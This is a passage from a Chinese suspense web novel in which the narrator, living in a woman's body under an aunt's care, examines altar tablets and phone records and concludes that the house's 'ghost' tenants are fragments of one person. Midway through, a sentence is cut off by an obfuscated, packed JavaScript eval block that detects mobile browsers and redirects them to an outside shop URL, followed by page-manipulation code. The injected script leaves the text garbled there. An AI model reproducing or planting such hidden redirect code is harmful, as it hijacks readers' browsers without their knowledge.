“老话说,最难不过女人。做女人,一个人过,实在是太难了。你知道,这些年我养着你……有多苦吗?如果,如果你大伯还在…如果他还在……” ——每次……这么些年……? 我抬起头,有些奇怪地望向她。那张脸被阳光映得通透,仿佛瓷器正在碎裂——她眼眶和鼻头都红红的,鼻孔翕张,嘴角轻轻抽动。目光则紧紧攀住我的脸,里面的悲伤被光线封印在了眸子里。 她是真的难过了。 我心脏重重一擂,一时有些恍惚—— ——她,不会真把我当成程静了吧? 我从餐桌下拿出抽纸,扯了两张递过去。她接过的瞬间,嘴角抽动得更厉害了,下巴都跟着颤抖起来。我不知该作何反应,只好僵坐原地,露出悲伤的表情。 她侧过身,重重醒了醒鼻子,胸口剧烈地起伏着,肩膀也耸动了几下。就这样,她垂着头,倚着椅背坐了许久。再转过来时,脸上虽仍都是红通通的,嘴角却已经平静下来。 她塌着肩膀,一动不动望着桌面上阳光切出的斜线。世界仿佛都凝固在了那条线上。只有客厅远远传来的电视广告声,还见证着时间流逝。 半晌,直到那条线的边缘都不再清晰,她的声音才又响起: “小晋——静静,阿姨知道,你心里还有个槛。但你听姨一句劝,人总是要学着向前看。你都三十二了,还能再有多少机会?错过了,就是一辈子的事。” 我的目光从那条线移到她脸上。她也正抬头看我,双手摆在桌上,右手还捏着那团纸巾。 阳光正渐渐离我们而去,她的脸也在慢慢重变回晦暗。失去了光晕的魔法,疲态反噬般彻底占据了她。 她灰黄色的嘴角又挂起了浅笑: “我又重新买了盆幸福树,过两天还是摆到你房里。这次可不能再砸了,真的会影响你的运势的。” ——哈,还真是“我”砸的。 我嘴角也挑起来一个微笑。小腹又开始坠痛,我将右手抵了上去。 “你也还是把头发留起来才好。女孩子,本来就应该是长头发。”她的目光轻柔地拂过我面庞,却像透过我,落在了别处。声音也忽然隔了水般嗡嗡作响:“我们小静本来就长得好。你随你妈妈,眼睛大,皮肤也白,只要肯好好收拾一下啊,谁见了都会喜欢的。” ——妈妈…… 这个称呼在脑中空洞回响,对应出的面容仍只是一团水汽。 蓦地浮现在眼前的,却是那张身份证上的照片——阳光将最后的绚烂洒满她面容,光晕中的脸竟充满了生气。 屋子里已经开始暗下来。 方姨转头望向窗外:“该做晚饭了。”于是,她站起身,对我说了句“帮我开一下客厅的灯。等饭好了叫你”,去了厨房。 我应下,撑着膝盖站起,走到客厅。电视的亮光在昏暗中舞出一片陆离。我定睛一看,原来是动画片,满屏幕激光炫影,环绕着乒乒乓乓的打斗声。 金线从我右手下伸出,向前,仿佛被那明灭斑斓的光线吸引,旋纽着,纠缠着,没入电视机柜下面。 我找到电灯开关。 “咔!”屋子瞬间被白光照亮。家具们清清醒醒地回到原位,屋子也从方才的奇幻,变回了平日里质朴的模样。 我将手落在沙发的实木靠背上,感受着掌下的凉意,向四周看去—— 这屋子,如果真的是个风水局,那也总该有个“阵眼”。找到它,或许就能挣破现在这诡异的境地。 ——阵眼,会是哪呢? 目光先扎向电视——每次方姨一回来,最先就是开电视。会不会…… 不,不对。它太外显,太板滞。而且,电视开着的时间毕竟是少数,就只像是在给这屋子“放个风”。 那么,是到处挂着的风水摆设?目光扫过房门把手上的铜钱,眼前又浮现出几处墙角挂着的铜牌、木牌,和厕所墙上的五只葫芦。 它们看起来太过零碎,只像边角,而不是它的核心。 视线一点点移到餐厅。佛龛正安然静立在晦暗中。 目光一刺,仿佛在搁板上那堆模糊的轮廓中,清晰地看见了那盏莲花灯。它现在还暗着,但等到半夜,就会在一片漆黑中幽幽亮起,猩红色的光缓缓起伏,就像在深深呼吸。 我不觉也加深了呼吸。手指紧攥着沙发靠背,心脏狠狠擂击胸腔。 重重一捏靠背,松开手。去房里取了杯子,走到厨房门口,按下了餐厅灯的开关。餐厅终于也彻底坦露在明亮之中。 方姨在厨房里正着切菜。听见动静,转头向我看来。 她脸上的表情……只是奇怪? 我举起杯子,朝她笑笑:“口渴了,我出来倒点水喝。” “哦。”她又回过头去,继续切菜,“饭菜还要一会儿。你还没饿吧?今天得晚一些。” “好。”我答应一声,去橱柜那倒上水,就转身,绕到了对面的佛龛前。 我站定,第一次仔细打量起这佛龛。 它有近两米高,深枣红色的漆面已经皴裂,露出底下单薄的木板。上下都是橱柜,中间则嵌进去一大块,里面摆了不少东西。 目光扫过顶上的橱柜——背板上立着一大幅画像,是佛祖和环绕他的几位菩萨。搁板上则摆了观音菩萨的塑像,以及绢花、水杯、苹果。那盏莲花灯就静静立在绢花右边。莲花形状的透明塑料灯罩有点发黄,每片花瓣尖顶上染着些大红。 我皱皱眉,转身望向厨房。门里正传出来锅碗瓢盆碰响的声音。 回正,将杯子轻轻放在中间的桌面上,伸手将莲花灯和绢花调换了个位置。 收回双手,我静止了一秒——厨房的碰响和客厅的电视声仍在欢快唱和,没有任何中断或者变化。我撇撇嘴,重新捧起茶杯,捂得更紧了些。杯壁上的温度,将眼前的画面一下烫亮不少。 视线继续扫过底下橱柜的抽屉和双开门,停在它顶部的桌面上。这正是我刚才放杯子的地方。 这上面靠近书房门的左侧放着本佛经,一串念珠就压在经书上,正是方姨每天拨的那串。中间也摆了水杯和苹果,还有一小碟包装五颜六色的糖果。靠里,则立着三个手掌宽、颜色深浅不一的枣红长形木牌,凹在暗影里几乎和佛龛的背板融成一片。 稍一矮身,空气中便多了股隐约的檀香味。我向里望去——木牌上都还绘着金字。是牌位。 呼吸一窒,脑子里嗡的一声。我目光一垂,指尖轻按杯壁,厨房的声音和周围的光线逐渐清晰。我轻轻泄出口气,还没呼完,却愣住了—— 三个? 心又狂跳两下。放下茶杯,右手撑住桌沿,慢慢抬头,向牌位看去。 中间的牌位最大,红黑的底色,正中一行金字:“先夫程峰往生西莲位?”。 两侧的牌位稍小,颜色也较明一些。左边的旧些,写着“未缘子往生莲位”“愿往生极乐”,右下角一行小字注出了时间:“二零一一年八月十四日立”。 2011年8月14日……14年前? ——那时候,程静都已经18岁了吧? 未缘子…… 我又看见了天台,夕阳下刘姨摇晃着三根手指。 ——是方姨为之前流掉的三个孩子立的牌位? 这佛龛与屋里其他家具明显不是一套……她是在2011年,才开始信佛? 我再次看向程峰的牌位。果然,右下角写着“卒于二零一零年六月二十三日”——她是在程峰死后才开始信佛的吧。 目光继续移到右边的牌位上—— “程静——” 右眼一跳,那两个字在暗影里自己亮了起来。太阳穴突突直鼓。我攥紧桌沿,闭眼定了定神,才继续向下看去—— “未缘爱女之灵位”“愿得安息”“二零一四年十一月八日” ……未缘爱女…… 程静…流过产? 心猛地一沉,忽的安静下来。刚才狂乱的脉搏,变得迟缓而沉重。视线来回扫了几遍,我才终于敢确定:右边的这个牌位,的确是为程静未出世的孩子所立。 暗暗叹了口气,直起身,拉开身后的椅子,坐下。双手下意识地轻轻捂在了小腹上。 呆子,混混,破鞋,傻子,废物,疯子……这串“房客”代号又出现在我脑中。他们中,到底有几个“房客”,又有几个,是真的程静呢? 我从裤袋里摸出手机,再次调出微信钱包的账单界面——最早的记录是2015年2月,正是“废物”自称搬进来的时间。 而牌位上的2014年11月8日,大概就是程静流产的日子。这期间的短短三个月里,会不会…就是傻子“存在”的时间? “她后来在外面读了大学……根本就没毕业……人被接回来了,天天关在屋里……”刘姨的话又在耳边响起。 她说,程静是在程峰死后两三年被接回来的。 程峰死于2010年6月,其实是在四年前。但她说的时间未必准确,这大体也能对上。 那么,程静是读大学时因为流产,才又辍学回来的?如果是那样,她之后变成“傻子”也就说得通了。 “是个胖子”“不是往嘴里塞东西,就是发呆……两只眼睛直直盯着楼下……”废物这样向疯子描述过傻子。 ——这,的确像一个深受打击,前途破碎的女孩会有的状态…… 我转头望向阳台,那片黑暗里仿佛还有个胖胖的身影,正贴着玻璃,缩在地面冰凉的瓷板上。 冰寒漫透全身,小腹又猛一阵绞痛。我弓起背,指尖死命掐进了盆骨上缘的肌肉里,也仍得不到半点缓解。只好咬着牙默默数起心跳。等数到82,阵痛才总算过去。下腹和腹股沟还紧绷着,又酸又胀。 我干脆将双脚踩上椅腿间的横梁,抱起胳膊,弯腰用它们挤住小腹,低头缩成一团。眼睑将世界挡在外面,黑暗中思绪逐渐清晰—— 程静高中时就跑出去了,多年在外,不可能还受这屋子掌控。既然她又回来了,那么,很有可能——直到傻子,都还是程静本人。 废物叫姜小晓。疯子叫赵路。还有我,晋江行。 我们三个。 或许,只有我们三个,才是被这间屋子,被方姨,拖进来的——“鬼魂”。 但为什么,是我们被拖进来?我甚至……都不存在于这个世界。 他们,也是这样么? 我轻轻啃咬着下唇,拇指指甲沿着食指侧边慢慢从指根掐到指尖,再从指尖掐回指根,让自己保持专注。 我们三个中,赵路和我是男的,姜小晓是女生。 赵路疯了,所以他以为自己是方姨的侄儿。姜小晓则以为,她是为了复习备考,才到这来租房子…… 我只见过赵路。赵路是在我和姜小晓中间进来的,见过我们两个。 我看见的始终都是赵路的“鬼魂”,甚至在他用这具身体和方姨争吵的时候。那么,赵路看见的,也该始终是我们的“鬼魂”? 是吧……要不,他怎么能对我毫无风度。虽然或许对他而言,真的“男女都一样”——从他对姜小晓的调侃里,就找不出半点风度——但他对我叫“晋江行”这个一听就是男人的名字毫不意外,又随口说出了“我们是同类”这样的话…… 应该,在他眼里,我妥妥就是个男人。 那么,他看见的废物,应该也就是姜小晓“本人”了。 黑暗中,三根线头轻轻舞动,它们一根搭着一根,一点点向上抬起,牵动了下面一整摊乱线。 忽然,第三根线被绊住了—— 姜小晓说她见过傻子…… 她看见的,究竟是什么? “傻子是个胖子……” 不管她看见的是什么,她看见的是个胖子。 胖子…… 那她呢? “三天一洗……运动节食……”是赵路眼里的姜小晓。 “胖胖的……一副没洗脸的样子”是刘姨她们口中的程静。 “一个不洗脸的胖子……”我喃喃念出声来。 明明是分属于两个人的“鬼魂”和肉身,却得到了相同的描述。 都“不洗脸”还好理解,但连体型都一样……都和之前的“傻子”一样…… 巧合? 还是……“鬼魂”会和身体同步? ……可惜,之前没多问问废物的模样。 食指一痛。我睁开眼,才发现右手不知什么时候又被我从肚子底下抽出,送进了嘴里——食指关节上多了个深深的牙印。 我干脆仍将它塞回嘴里,眼睛追着金线一路向前看去——它斜斜从桌下穿过,钻进了厨房的墙角。路过的,正是那把曾经坐了赵路的椅子。 他很痩。到底是因为程静的身体变得很瘦,还是因为他“原本”就瘦? 我呢? 我突然一愣——为什么我看我自己时,只看见程静的身体? 就算不去管镜子里、手机里的“虚像”,我每天肉眼所见的,自始至终,都还是程静的身体,这具女人的身体…… 难道,他们也都是这样? ……不应该啊。赵路理直气壮地认定自己就是个男人,他之前看自己难道也是这具女人的身体?那后来他又变回了“鬼魂”,怎么没有觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001305|193953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不对劲? 何况他在程静这壳子里都呆了两年多,即使能像我这样“一时糊涂”,却总不能…两年都不来月经吧? 而且——呼吸猛地一滞,我终于意识到了是哪里不对劲—— 赵路的“鬼魂”,分明就是身份证上的那个程静——她瘦脱形、中年后的性转版!就是……我现在的样子。 心脏猛地扑了两下,眼前光线黑了半秒。我双手攥住桌沿,后腰绷紧,死死抵住了椅背。 ——闭上眼,深呼吸…… 闭上眼,我看见身前现出一条巨大的裂缝。 别管他,我告诉自己。深呼吸,什么都不要想。离开这里…… 有什么却在吸引着我,一步步向下走去…… “饿了没?” 方姨的声音陡地在前方响起。我身上一凉,睁眼抬头,望了过去。 她正从厨房走出来,手中的碗热气袅袅。目光一触到我,脸上的温和便凝固住,左眉微微皱了起来:“你这是……”她将粥碗轻轻搁到我跟前,顺势侧身将左手贴上了我额头,眼里满是担忧,“身上又难受了?” 我点点头,扯起嘴角:“嗯,有点。”粥温热的气息扑在脸上,混合着软烂的小米香、幽冷的药香,还有……那股说不清的腥气。胃搅了搅,被我摁了回去。 方姨轻轻叹口气:“谁让你这样不爱惜身体……我把粥热好了,喝了暖暖肚子吧。” 说着,她直起身,轻轻抚了抚我头顶,才去椅子上坐下: “晚饭还要一会儿。你不是爱吃粉蒸排骨吗,我下午特地去买了排骨和米粉子,已经给你蒸上了。”她微笑着一抿嘴,眼睛亮晶晶地看过来,像有些羞赧,又像是得意,“正好又遇到有卖鲜南瓜藤的。也是你爱吃的,就一起买了点。” “谢谢方姨。”我在心里叹了口气—— 她是真心想照顾好“程静”吧。 这屋子倒是有趣——疯子在这里演示过什么叫清醒,而正常人,也在这演绎出最虔诚的疯狂。 厨房传来高压锅上汽的声音。一股咸鲜辛糯的肉香扑鼻而来,胃里一空,整个食道都在分泌唾液。 我捂着肚子,舌尖抵住上颚,僵着两颊肌肉,小心地深深嗅了几口,轻叹了句:“好香。” 方姨弯眼一笑,扶着桌沿站起:“我去看看火。你趁热先把粥喝了。” “嗯。再凉点就喝。”我将手扶上粥碗,也弯了弯嘴角。 方姨去了厨房。我指尖轻轻摩挲着碗壁,垂眼望进碗里,想起了疯子—— 为什么,他能吃饭? 鬼魂不都是象征性地嗅个香气么。他怎么能实实在在地拿起碗筷来,吃饭? 而且……我转身望向那扇紧紧关着的书房门—— 他还能读书、写青词。 他必定“真实”存在。难道,在这个屋子里,鬼魂也能拥有实体? 不。不只是在这个屋子里。他还出去过——去烧青词,在那个阳光灿烂的周一下午。还有那个清朗的中秋夜晚……我是亲自跟着他一起上到天台,亲眼看着他烧掉的。 疯子他… 到底是什么? 我呢? 指尖早已僵滞,微微发麻。我轻轻一动,才重又感觉到碗壁传来的温热。 收回手,撑着椅子站起,转身开门进了书房。 书房拉着窗帘,空气凝滞,沉在黑暗里。我打开灯,才看清了它——书柜和飘窗空着,书桌的搁架上摆着那对铜麒麟。 仍是上次进来时的模样。这里仿佛被整个封进了一颗巨大的琥珀里。 我轻轻翕动鼻翼,竟还能找出来隐隐的焦燎味,和一丝淡淡的桂花香气。 带上房门,走到桌前。伸手抽出那张“五雷符”,放在桌上。又将两只麒麟左右对调,拉开点间距,再一起向右移了三厘米。 摆好麒麟,我屏息静了静——空气中并没有任何特殊波动。我耸耸肩,捏起纸符,拉开抽屉打算扔进去。 抽屉滑开,一小沓崭新的A4纸就蓦地平铺在眼前——之前,疯子就是用它们,写出了青词。 这一小方新雪般的白直刺得我眼眶发涩。伸出手,指尖轻抚过顶页,金线也柔柔贴了上去,在纸页上游弋流连,才终于恋恋不舍地滑出边沿,钻去抽屉后面。我勾勾嘴角,手指向下楔进这沓纸的底部,抬起一角,左手将符压到了最底下。 再抬头,便看见了桌上靠墙还摆着钢笔和墨水。 “疯子,废物……或许,还有程静。” 我怔怔望着,《The Little Prince》扉页上那两个清秀的钢笔字又映上了桌面。 嘴角一点点拉高,鼻梁后面却越发酸涩。我垂下眼,推上了抽屉。 我转过身,靠着书桌,长长吁出了一口气。对面,那副画,还好好地藏在飘窗上的暗影里。 视线继续向左,落到了门后那堆杂物上——画架,香薰炉,哑铃,瑜伽垫,盒子里还有爱尔兰哨笛和蛋糕模具…… 这些都是“废物”的东西。 “差生文具多么。”疯子的嘲讽又在这房里响起。我咧开嘴,不出声地哈哈笑了几秒,才慢慢收起笑,脸上回复成和这房间一样的空寂。 她离开时,应该曾好好地和疯子道过别,却没带走它们。 是啊,她只是个“鬼魂”,怎么可能带得走它们。 她,去了哪里? 空寂一点点收紧,呼吸渐渐急促—— 她是自己离开的吗? 离开时,她可知道——自己将去哪里? 心脏又狠狠蹦了两下,踢翻眼前的一大片银箔。我一闭眼,双手向后抵住桌沿,慢慢深吸进几口气。 这里空气太闷。我走到飘窗前,拉开窗帘,才发现原来窗户也关上了。 推开窗,新鲜干爽的空气瞬间扑来。我趴在窗沿,深深吸进几口,才向外看去。外面已经全黑了,楼下亮着几点白色,那是路灯。不远处传来新闻联播结束时的音乐。 我干脆甩掉拖鞋,在飘窗上坐下,背靠着冰凉的墙壁—— 第一次进书房来找疯子时,他就是这样坐在这里。 “月亮从不注视着沉睡著的人。” 我看了看固执飘向桌后的金线,也将头枕上墙壁,目光空空地投向窗外。 ——月亮,是从另一边升起。 这里曾是他的房间。 也是她的。 还有她——傻子。废物说,她也总坐在这飘窗上向下看。 就是我身下的这片飘窗。 他们透过这扇窗户,望见了月亮。那么,月亮透过这窗户望见的,是他们,还是——她? 微笑又浮上嘴角—— 它看见的,是我,还是程静? 同一个人。同一扇窗。 …… 同一个地址。 “同一个地址……”我愣了愣,拼夕夕的红色图标在脑中闪过—— 疯子和废物都在拼夕夕上买东西。他们总不至于收件人都填“程静”? 我慌忙从兜里抓出手机,在角落里找到图标。短信登陆,摸索半天,总算找到了“我的订单”。 似乎没办法筛选时段,只好一笔笔向下确认。 订单里排着的一长溜都是书籍,收件人正是“赵路”。一路下滑,才渐渐出来些日用品、零食。点开,果然就是“姜小晓”。我向上找到了署名“姜小晓”的最后一笔订单—— 《肖八》?2022年11月19日,04:38:17…… ——那就真的很能熬了。 2022年11月,的确也能和微信钱包的账单记录对上。 撇撇嘴,继续往下。我得看看,这个账号最早是谁在用。 许久后终于拉到了底。最早的订单是个小风扇—— “已签收程静——” ——程静! 心重重一擂!这个名字……真的出来了。 确认过手机号和地址,我稳住心跳,点开“更多订单信息”——“下单时间:2017-7-13”。 2017年7月13……? 脑中空白了两秒—— 但是……废物不是2015年2月就“住”进来了吗? 她…收货时都不看看名字? 我僵着手挨个往上点去——所有订单的收件人都是“程静”,直到2020年3月4号开始,才齐齐换成了“姜小晓”。 …… 姜小晓。 她是五年前才“住”进来的? 那为什么她会告诉疯子,在他来之前,她已经在这里住了七八年? 还有……六年前,赵姨在日日惠里看见的那个“程静”,到底是谁? ——记忆混乱?还是,时空错乱? 天台上几位阿姨的话又在我耳边缭绕,转动了整个房间。我闭上眼,紧紧攥着手机,努力想从这飞速的旋转中吸取到一些空气。 “小静,你在这里做什么?粥怎么还没喝?” 我全身一颤,骤然睁眼,扭头向房门看去。这才发现门不知什么时候开了,方姨正握着把手站在门口,狐疑地向我望来。 “吃晚饭了。我刚刚还去你房里喊你……”她鼻翼翕了翕,转头扫视一圈,“你怎么又跑这里来了?” 我慢慢吸进两口气,心跳总算稳了一些。捏着手机,一眼扫见前面墙上的画,轻声道:“我突然想来看看这幅画。” 方姨的眉头却蹙得更深了。她目光飞快地从画上掠过,胸口轻轻起伏,留下句“出来吃饭吧”,就转身走开了。 16. Chap.13 最后的晚餐(下) 我将手机收回口袋,在裤腿上蹭干掌心的汗,挪下飘窗。 还没走出两步,肚子就早被外面的肉香给紧紧揪住了。走出房门,便看见桌上已摆好饭菜——粉蒸排骨,清炒南瓜藤,烧鱼块,两碗米饭。还有,那碗粥。 方姨正端着碗饭,往里面夹菜。她抬头看了我一眼,说了句“坐下吧”,就又低头继续了。直到堆了三块排骨,两块鱼,又盖上一大勺南瓜藤,才把碗轻轻搁到了我面前。“这两天你都没正经吃过东西,晚上就多吃一点。” “谢谢方姨。”我赶紧捧过碗。 “你那粥,怎么又没喝?”她在椅子上坐下,皱眉看来。 “我喝了一口,胃不太舒服。”我冲她抱歉一笑,“我想先吃了饭,垫一垫再喝。”说完,便埋下头急急从排骨上咬下块肉,囫囵嚼了两口咽下,又赶紧扒进口米饭。 对面一声轻笑。“慢点吃。”拉长的语气中透着些无奈,“那等下再重新热热吧。这次一定得喝了。”余光里,她开始夹菜。 “嗯。”我含混地应了一声,继续奋力将食物装进胃里。 将方姨帮我夹的菜全部吃完,发狂般的饥饿才总算压下去了一点。我又夹了些菜,咀嚼的速度慢下来,才开始尝出了些味道。 一慢下来,先前的问题就又回到了我脑子里—— 我们三个的记忆,或者认知,都出现了问题。 姜小晓。她弄错了自己“搬来”的时间。 赵路。他弄错的,是自己的身份和性别。 我。我也弄错了性别。 另外,已经可以确认的是,我和姜小晓都“使用”过程静的身份证:我是在面试时,将号码填在了申请表上;姜小晓则是在考试报名的时候。 从2020年3月到2022年11月,她至少参加过两次考试。她能拿出的身份证,只可能也是程静的。 已经出现了这么多问题。那会不会,还有别的我还没意识到的呢? 我嘬着骨头,在脑子里四处翻找可疑的记忆—— 从和家里吵架离家出走,到面试、刚入职前三天的那一整段时间都得算上。 还有中秋节前一天,赵路和方姨争吵的那个晚上。 再就是前天晚上,我想不起自己怎么从门球场回来的。但这次可能只是因为高烧。 另外……就没有了吧。 我用筷子夹住骨头,放进旁边的小碟里,抬了望了眼方姨。她正吐鱼刺,也向我看了过来。我们相视一笑——“好吃吗?”“嗯!”——然后继续低头吃饭。 电视里远远传来对话声,应该正播连续剧。我耳道深处却忽地响起了方姨的嗔怪: “这孩子,怎么叫阿姨了。你该叫伯母啊。” 那是一个多月前,我来这看房,第一次见面时的对话。 “伯母哪有阿姨好听,就该叫您阿姨的。” 再听见自己当初的软磨硬泡,我心里一阵针扎般的好笑:那时,我还当这房子是“来之不易”呢。现在再看,却也是“不易”——兜兜转转,我又回来了。 是的,我又回来了。因为,如果我们都是被这屋里的风水局拉进来的,那么只可能,在疯子离家出走之前,我就已经在这具身体里了—— 我不是“找到”,而是“找回”了这里。 喉咙一堵,我将鱼肉放回碗里。扒进口米饭,顺着咀嚼的节奏,一帧帧重放这整个租房过程。 嚼着嚼着,我忽地顿住。一口将饭咽下,掏出手机,点开通话记录——“C方姨”只有三个,最早的是9月3号。 一记闷棍猛敲下来—— 我明明记得,8月31日,我刷出那条租房广告的当晚,就直接联系了房东。第二天提着行李过来看房之前,也应该和她联系过。 ——我删了? 还是又被这屋子吞了? ……图什么? 总不会…我根本没和她联系,是自己跑过来的? 我捧着碗,低头又送进了一口米饭—— 第二天,我一早就从旅馆退了房,直接拖着箱子,跟着地图导航就走过来了,一起也就花了四十分钟不到。到这里时,肯定还是上午。 9月1号又是周一,方姨要上班。没有提前联系,她肯定不会在家。 那么,是谁帮我开的门,带我看的房? 问题出现的瞬间,脑海里没有浮现任何人的脸,只有一片空白。 后背突然爬上来一股寒意,我用力捏捏筷子,将它硬压了回去—— 程静身上当然可以有钥匙。疯子也自然记得路。 但…… 我和疯子的第一次见面,明明是在一周后,8号。 领我过来的,真的是他? 那为什么,那时候我看不见他,他也看不见我? 如果可以看不见,那么……这具身体里,会不会现在都还住着另一个“鬼魂”? ——一个知道程静身份证的鬼魂…… 意识仿佛缩成了身体前面的薄薄一小片,后面的整片空旷里,还有什么在窥视着我。眼前浮现的是那个蜷缩在阳台暗影中的轮廓。 我轻轻抽了两口气,绷着小腹,机械地嚼了米饭,将它咽下。这才意识到一件更奇怪的事—— 我记得,我看房明明是在亮晃晃的白天。但和方姨的初次见面,却又是在亮着灯的客厅。在喊出那声“阿姨”之前,我还看了眼外面黑漆漆的阳台…… 从白天,到夜晚……这期间,到底发生了什么? …… 牙尖一痛,我才猛然惊醒,原来我竟在咬筷子。胃忽地一空,赶紧把它从嘴里拿出来。一看到木筷上浅浅的牙印,就抬眼瞟向方姨。 “吃饭就专心吃饭,不要看手机。” 她垂着眼,正夹了块鱼放回自己碗里。声音平静中带着不耐。 “嗯。”我定了定神,将手机收回裤袋。也夹了些菜,继续低头吃饭。 炽白的灯光下,我仿佛又回到了那个晚上—— “阿姨,您就让我住这吧。我之后一定会好好付房租的。”那天,我这样央求她。 她的表情……她拧眉紧紧盯着我,像是有些错愕,嘴唇翕动几次,才说:“傻孩子。你就安心住着吧,就当这是自己家。” …… 就当这是自己家…… ——她看到的,到底是我,晋江行,还是程静? 又一阵坠痛从下腹绞来。小腹一紧,一股温热倏地滑脱出去。我一僵,心里一阵空茫。随即,眉头一皱—— 她看见的,从来都是程静的身体。 那么,她看得见我这个鬼魂吗? 她,在我“住进来”后,还看得见疯子吗? “方姨,赵路呢?他出去这么久,怎么还不回来?”我吃下碗里最后一粒米,摸摸微鼓的腹部,放下筷子,坐直了好奇地问。 “什么赵路。”方姨身形一滞,慢慢抬起脸来,看向我。 “你侄儿啊。他不是一直住在这里的吗?”我睁大了眼睛,满脸困惑。 她瞳孔一缩,轻喘着眼睛左右晃了晃,目光才落向我:“这里只有我们两个。” ——她竟然真的怕赵路? 而且…她难道真的看不见他? “只有我们两个?”我眉头锁得紧紧的,似在回忆,“怎么可能……明明大前天晚上,他还和我们一起坐在这里吃饭啊。赵路他……” “啪!” 筷子又被她拍在了桌上。她腾地起身,一句叫喊冲出喉咙:“赵路赵路!你这几年到底怎么回事!为什么老说这种鬼话!”她重重翕着鼻子,双手抠住桌沿全身打颤,扭身向左右看去。 “哪里还有什么人?你说!你是想故意吓死我是不是?!” 我眼角缩了缩—— 她看不见。她真的看不见。 是了。所以她才会以为,幸福树是我砸的。 我一脸迷茫,满是无措和失望,眼神散开:“没有赵路吗……”停顿一下,目光重新点亮,聚到她脸上,“那程静呢?住在这里的程静,她总该有的吧?” 方姨胸口猛地向上提起,嘴越张越大,眼睛也越瞪越大,仿佛看到了难以置信又极为可怕的东西。她死死盯着我,从嘴里重重喘出好几口气,才抖着下巴,倾下身凑向我:“静静,静静你到底是怎么啦?” 我老实安坐,茫然地望进她眼里:“静静?您是在叫我吗?” “我的天…你不要吓我……”她双眼在我脸上急切地上下搜寻几遍,整张脸骤然一垮,突然哭嚎起来,“你不要这样吓我啊——” 我心口被这哭声一把揪起,陷入了真正的茫然。 低下头,望向金线——它浅浅没入桌面,在前方钻出来,飘进了厨房和外墙的夹角。 ——看起来,事情正滑向最糟糕的可能性。 我沉着脸,提了提嘴角。 方姨见我没有反应,走到我旁边,低下头凑近了看我。见我只是一脸痴笑,她猛退开一步,用力摇了两把我的肩膀,深深抽了几口气,才重新坐回去,陷进椅子里。 “我真的想不到,你怎么又这样了。不明明都好了吗……”她歪垂着头,望着自己膝盖,低声絮叨,“你自己回来了,找到了工作,又终于肯回房里去睡了……我还以为,你已经是个好人了。” ——是啊。那个刘姨口中,又自己跑了回来、找了工作的疯子,原来是我。 “你还叫我方姨……我还想,你是终于愿意忘了过去,重新开始了…… “你现在又这样,到底是病了,还是在故意吓我?你是不是不想相亲,才这样的?”她骤地抬起头,向我看来。 我木着脸,呆呆望着她。 她忽地重重哈出声叹,肩膀一沉,又将头落了下去: “我知道,你变成现在这样,是有我们的原因。是,是我们对不起你,我对不起你妈妈……但事情已经过去了那么久,你大伯他也早就遭了报应……你就…”她望向我,眼神忧急中带了哀求,声音也染着哭腔,“就不能原谅我们吗?就让这事过去,别再吓方姨了好不好?” 我心中一叹,垂下了眼。她的声音停了一会儿,又轻飘飘地响起: “我知道你心里怨恨我们。你怪我没照顾好你,怪那时候我没能护着你……但是,我也没有别的办法啊。方姨求求你,求你不要再这个样子。你别再这样折磨我,折磨你自己了!”声音越来越大,她又嘶喊起来。 我抬起头,望着那张慢慢扯开的嘴唇,和拧紧的眉毛下,那双下垂的眼睛——它们竟和记忆里,那场争吵中我父母的样子完全重合在了一起。 我陷进怔忪里,仿佛连同身下的椅子一起漂浮在了虚空—— 让我离家出走的那场争吵,到底,是谁和谁的争吵? 这虚空中唯一能看清的,只有对面那张脸。我用目光牢牢将它锁住—— 原来她还不知道,这壳子里换过人。 我们出现在这里,并不是因为她的术法。 最初的那场争吵,只是段被安给我的“错误”记忆。就像姜小晓,她也拥有了“不属于她”的五年…… 或许,我的记忆从未被清除。我现在所能清楚回忆起的这些,就已经是我的全部。 那么,疯子呢? 只有我看得见他。他却不是我臆想出来的…… 那就只剩下一种可能,最后的那个可能——我和他,是同一种东西……同一种“鬼魂”。 我,不是被抓进来的,而是在疯子离家出走后,才“生”出来的。 周围突然炸出一片炫彩斑斓—— 小旅馆被子上的黄斑,早会上回响的口号,耳机里不间断的电话声,晚饭蒸腾的热气,方姨满溢慈爱和惊惧的脸,天台上绚烂的阳光,疯子的呓语和青词,黑暗中的火焰和亮光,身份证上平静的微笑,镜子里与我对视的双眼—— 它们飞速从我身边滑过。我骤然从空中跌落,摔碎成无数片。碎得就像中秋节午后,疯子的那个眼神。 “方程本身……才是那个真实存在的东西。” ——这,才是你看到的背面吧。 我不觉笑了。 原来,我们真的都是镜子——程静的镜子,她的碎片,她卡槽里的一张卡。 我以为,我终于拼出了这迷宫的地图。但我拼出来的,却原来是面镜子。 镜子铺张满整个世界,它我周围不断碎裂、重组,荒谬得像场幻觉。 只有小腹越来越沉的坠痛清楚地将我钉在椅子上,钉进现实里,钉牢在……程静这具壳子里。 我笑着,呆呆望着对面,望着方姨开合的嘴唇。她的话语卡在电视剧的声音里,就像有好几个她同时在对我说话,又像,她在不同时空里对我的说话重叠在了一起。 “不怪你……是这屋子风水不好,有邪气。你是受了邪,迷了心才这样的。”她已经又平静下来,脸上只剩迷茫, “但是,我都调整过了啊。符也请了,东西也烧了,你怎么还就是不好呢?” 她眼珠晃了晃,定在我脸上。 “对,喝粥!我去把粥热了!”她猛地站起,转身就要去厨房。 “我来吧。”我按了按小腹,一撑椅子,起身跟了上去。 方姨见我过来,一边往锅里盛水,一边转头用下巴指了指左后方,让我去取粥。 那碗粥正放在灶台上,盖着了个小碟。我揭开碟子,端起粥碗走到水池边,将碗悬到外侧水槽上,手腕稍转,粥就漫到了碗沿。 “你干嘛!”左边一声大喊。方姨一拍龙头关上水,转身惊恐地瞪着我。 我苦着脸,揉揉肚子:“方姨,这粥坏了吧?我之前一喝就闹肚子,还是别——” “别胡闹!”她厉声打断了我,眉毛直往上竖,“最后一副了,别任性!” “最后一副…什么?”我微张着嘴,好奇地望着她。 